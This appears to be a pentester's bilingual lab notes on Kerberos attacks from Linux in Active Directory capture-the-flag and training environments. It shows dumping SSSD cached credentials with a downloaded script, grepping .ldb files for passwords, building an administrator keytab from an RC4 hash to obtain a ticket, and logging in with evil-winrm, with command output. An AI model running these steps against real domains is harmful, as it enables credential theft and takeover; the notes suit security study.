Kerberos
linux
ldb file
apt install tdb-tools
wget https://github.com/ricardojoserf/SSSD-creds/raw/main/analyze.sh
./analyze.sh var/lib/sss/db
find var/ -type f -name *.ldb -exec strings {} \; | grep -i Password -A3
ksu
ksu 是 su 程序的 Kerberized 版本,获得域用户的凭据之后都可以尝试,另外 krb5.conf 中配置了 .k5login。root 目录下存在 .k5login 文件其中有用户名
sssd 是一个开源客户端,用于将 Linux 计算机连接到 Active Directory。 sssd 数据存储在 /var/lib/sss 中。
pam_krb5.so module 负责 Kerberos 认证,在如下文件中启用
/etc/pam.d/common-auth
pam_krb5 模块的配置指令可在/etc/krb5.conf 文件的 appdefaults 部分找到。
kvno
请求服务票据
kvno servicePrincipalName
kvno MSSQLSvc/DC01.corp1.com:1433
/etc/krb5.conf
[libdefaults]
default_realm = WINDCORP.HTB
fcc-mit-ticketflags = true
[realms]
WINDCORP.HTB = {
kdc = HATHOR.WINDCORP.HTB
admin_server = HATHOR.WINDCORP.HTB
}
更换时使用 VIM,进入命令模式
%s/WINDCORP/ABSOLUTE/g
报错: ldap_sasl_interactive_bind: Local error (-2) additional info: SASL(-1): generic failure: GSSAPI Error: No credentials were supplied, or the credentials were unavailable or inaccessible (No Kerberos credentials available (default cache: FILE:/tmp/krb5cc_0))
配置文件示例
offsec@linuxvictim:~$ grep -v '#\|^$' /etc/krb5.conf
[logging]
default = FILE:/var/log/krb5libs.log
kdc = FILE:/var/log/krb5kdc.log
admin_server = FILE:/var/log/kadmind.log
default_tkt_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
default_tgs_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
permitted_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
[libdefaults]
default_realm = CORP1.COM
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
[realms]
CORP1.COM = {
kdc = corp1.com.
}
[domain_realm]
.corp1.com = CORP1.COM
corp1.com = CORP1.COM
[appdefaults]
pam = {
minimum_uid = 3000
}
Kinit
安装 Kerberos Linux 客户端实用程序
sudo apt install krb5-user
- kinit 命令获得或更新Kerberos 票据授权票据。
kinit beatricemill
# clear tickets
# Windows
klist purge
# Linux
kdestroy
续订票据
kinit -R
link
krb5.conf — MIT Kerberos Documentation
快速搭建Kerberos服务端及入门使用 - 尹正杰 - 博客园
ktutil
addent -p administrator@WINDCORP.COM -k 1 -key -e rc4-hmac
wkt administrator.keytab
exit
kinit -V -k -t administrator.keytab -f administrator@WINDCORP.HTB
Kerberos Auth Kerberos
keytab — MIT Kerberos Documentation
ktutil — MIT Kerberos Documentation
kinit — MIT Kerberos Documentation
https://linux.die.net/man/1/kinit
域名要大写
Write keytab
- save it as a keytab file
ktutil
ktutil: add_entry
usage: add_entry (-key | -password) -p principal -k kvno [-e enctype] [-f|-s salt]
ktutil: add_entry -key -p administrator@WINDCORP.HTB -k 1 -e rc4-hmac
Key for administrator@WINDCORP.HTB (hex): b3ff8d7532eef396a5347ed33933030f
ktutil: write_kt administrator.keytab
ktutil: exit
administrator@corp1.com@linuxvictim:~$ ktutil
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac
Password for administrator@CORP1.COM:
ktutil: wkt /tmp/administrator.keytab
ktutil: quit
use keytab file
- get a ticket
kinit -V -k -t administrator.keytab -f administrator@WINDCORP.HTB
Using default cache: /tmp/krb5cc_1000
Using principal: administrator@WINDCORP.HTB
Using keytab: administrator.keytab
Authenticated to Kerberos v5
klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: administrator@WINDCORP.HTB
Valid starting Expires Service principal
12/17/2023 03:15:37 12/17/2023 13:15:37 krbtgt/WINDCORP.HTB@WINDCORP.HTB
renew until 12/18/2023 03:15:33
-k [ -i | -t keytab_file ]
requests a ticket, obtained from a key in the local host’s keytab. The location of the keytab may be specified with the -t keytab_file option, or with the -i option to specify the use of the default client keytab;
evil-winrm -i hathor.windcorp.htb -r windcorp.htb
Kerberos 环境变量
KRB5CCNAME
使用 Kerberos 身份验证的 ActiveDiectory 成员会被分配一个凭据缓存文件按来包含其请求的 Kerberos 票证。
缓存文件的位置通过用户的 KRB5CCNAME 环境变量设置。
默认缓存文件为 /tmp/krb5cc_uid,其中 uid 是用户的十进制 user ID。
KRB5_KTNAME
keytab 文件的位置,格式为 TYPE:residual。如果没有类型,则假定为 FILE 类型,并且 residual 是密钥表文件的路径名。默认密钥表文件是/etc/krb5.keytab。
KRB5_CONFIG
指定 Kerberos 配置文件的位置。默认值为 /etc/krb5.conf。
KRB5_TRACE
定要将跟踪日志输出写入其中的文件名。跟踪日志可以帮助阐明 Kerberos 库内部做出的决策。默认情况下不将跟踪日志输出写入任何地方。
排查报错
KRB5_TRACE=/dev/stdout kinit -V -X X509_user_identity=FILE:admin.cer,admin.key Administrator@WINDCORP.HTB
[918084] 1710236524.097862: Preauth module pkinit (16) (real) returned: -1765328360/Failed to verify own certificate (depth 0): certificate is not yet valid
证书无效